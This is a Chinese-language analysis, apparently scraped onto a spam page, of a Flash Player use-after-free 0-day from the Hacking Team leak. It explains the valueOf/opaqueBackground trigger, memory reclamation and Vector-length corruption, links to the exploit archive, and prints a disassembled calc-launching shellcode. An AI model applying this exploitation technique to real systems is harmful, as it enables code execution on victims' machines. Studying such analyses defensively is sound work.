<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/7031

            0x00 背景


            繼前幾天從Hacking Team中找到一個flash 0day,Adobe發布修復補丁之后,又被人在郵件中找到了一個flash 0day。

            readme中描述,影響范圍為Adobe Flash Player 9+ 32/64-bit (since Jun 2006)

            Windows中的IE,OS X中的firefox均可直接執行計算器。

            0x01 漏洞分析


            漏洞文件http://krash.in/flashnew0day.zip,是從Hacking Team郵件中找到Flash 0day,簡單看一下該漏洞的利用方法。

            點擊Run Calc之后,該程序會調用Check64()函數,這個函數是該漏洞的一個簡化版,程序用32、64不同的內存結構判斷當前是32位進程還是64位。程序在最開始重載了MyClassvalueOf

            enter image description here

            opeaqueBackground屬性接受數值型,故如果傳入一個類,會顯示調用該類的valueOf一次,這個也是之前的一個UAF用的一個技巧。所以,在第一次走到下列語句設置opaqueBackground的時候走到了valueOf1

            enter image description here

            valueOf1中,攻擊者使用recreateTextLine重用_tl這個textLine,隨之,原始TextBlock(_tb)中的內部TextLine對象被釋放。

            enter image description here

            ----->

            enter image description here

            enter image description here

            然后,在valueOf中使用

            enter image description here

            占住這片被釋放的內存,1016是TextLine對象在內存中的大小,1344相當于多分配了一塊內存(1016/4-8)。函數return 1,寫入到這片內存中。

            valueOf返回后,程序搜索_ar,找到值為1的一項,根據該項的位置判斷是32還是64位系統:

            enter image description here

            隨后,程序調用TryExpl(),這里使用了類似的方式:

            先分配特殊長度的Vector和TextLine留待后用,接著將MyClassvalueOf也設置為valueOf2

            enter image description here

            然后設置opaqueBackground屬性,_mcMyClass的實例,因此觸發valueOf2

            enter image description here

            valueOf2中使用和之前一樣的方式給_ar的所有元素全部做一次內存破壞,vLen的值是98。

            enter image description here

            返回后,程序在_ar中搜索被破壞的塊,并設置下一個VectorLength0x40000000,后續就是經典的Vector操作了。

            enter image description here

            enter image description here

            IE11+Flash Player 17中,跟蹤可發現length被覆蓋后的Vector

            enter image description here

            0x02 使用的shellcode


            和之前一樣,使用CreateProcessA調用calc

            #!c
            0:008> uf 0x603b1b8
            Flow analysis was incomplete, some code may be missing
            0603b1b8 55              push    ebp
            0603b1b9 8bec            mov     ebp,esp
            0603b1bb 83c4ac          add     esp,0FFFFFFACh
            0603b1be 53              push    ebx
            0603b1bf 51              push    ecx
            0603b1c0 57              push    edi
            0603b1c1 648b0530000000  mov     eax,dword ptr fs:[30h]
            0603b1c8 8b400c          mov     eax,dword ptr [eax+0Ch]
            0603b1cb 8b400c          mov     eax,dword ptr [eax+0Ch]
            0603b1ce 8b00            mov     eax,dword ptr [eax]
            0603b1d0 8b00            mov     eax,dword ptr [eax]
            0603b1d2 8b5818          mov     ebx,dword ptr [eax+18h]
            0603b1d5 89d8            mov     eax,ebx
            0603b1d7 03403c          add     eax,dword ptr [eax+3Ch]
            0603b1da 8b5078          mov     edx,dword ptr [eax+78h]
            0603b1dd 01da            add     edx,ebx
            0603b1df 8b7a20          mov     edi,dword ptr [edx+20h]
            0603b1e2 01df            add     edi,ebx
            0603b1e4 31c9            xor     ecx,ecx
            
            0603b1e6 8b07            mov     eax,dword ptr [edi]
            0603b1e8 01d8            add     eax,ebx
            0603b1ea 813843726561    cmp     dword ptr [eax],61657243h ; Crea
            0603b1f0 751c            jne     0603b20e
            
            0603b1f2 81780b73734100  cmp     dword ptr [eax+0Bh],offset IEXPLORE!api-ms-win-downlevel-shell32-l1-1-0_NULL_THUNK_DATA_DLA <PERF> (IEXPLORE+0x37373) (00417373) ;ssA   (=>CreateProcessA)
            0603b1f9 7513            jne     0603b20e
            
            0603b1fb 8b4224          mov     eax,dword ptr [edx+24h]
            0603b1fe 01d8            add     eax,ebx
            0603b200 0fb70448        movzx   eax,word ptr [eax+ecx*2]
            0603b204 8b521c          mov     edx,dword ptr [edx+1Ch]
            0603b207 01da            add     edx,ebx
            0603b209 031c82          add     ebx,dword ptr [edx+eax*4]
            0603b20c eb09            jmp     0603b217
            
            0603b20e 83c704          add     edi,4
            0603b211 41              inc     ecx
            0603b212 3b4a18          cmp     ecx,dword ptr [edx+18h]
            0603b215 7ccf            jl      0603b1e6
            
            0603b217 8d45f0          lea     eax,[ebp-10h]
            0603b21a 50              push    eax
            0603b21b 8d7dac          lea     edi,[ebp-54h]
            0603b21e 57              push    edi
            0603b21f 31c0            xor     eax,eax
            0603b221 b911000000      mov     ecx,11h
            0603b226 f3ab            rep stos dword ptr es:[edi]
            0603b228 c745ac44000000  mov     dword ptr [ebp-54h],44h
            0603b22f 50              push    eax
            0603b230 50              push    eax
            0603b231 50              push    eax
            0603b232 50              push    eax
            0603b233 50              push    eax
            0603b234 50              push    eax
            0603b235 e809000000      call    0603b243
            0603b23a 63616c          arpl    word ptr [ecx+6Ch],sp
            0603b23d 632e            arpl    word ptr [esi],bp
            0603b23f 657865          js      0603b2a7
            
            0603b242 0050ff          add     byte ptr [eax-1],dl
            0603b245 d35f59          rcr     dword ptr [edi+59h],cl
            0603b248 5b              pop     ebx
            0603b249 c1e003          shl     eax,3
            0603b24c 83c006          add     eax,6
            0603b24f c9              leave
            0603b250 c3              ret
            

            enter image description here

            0x03 效果


            enter image description here

            在IE11中成功地啟動了calc.exe

            桌面截圖:

            enter image description here

            enter image description here

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线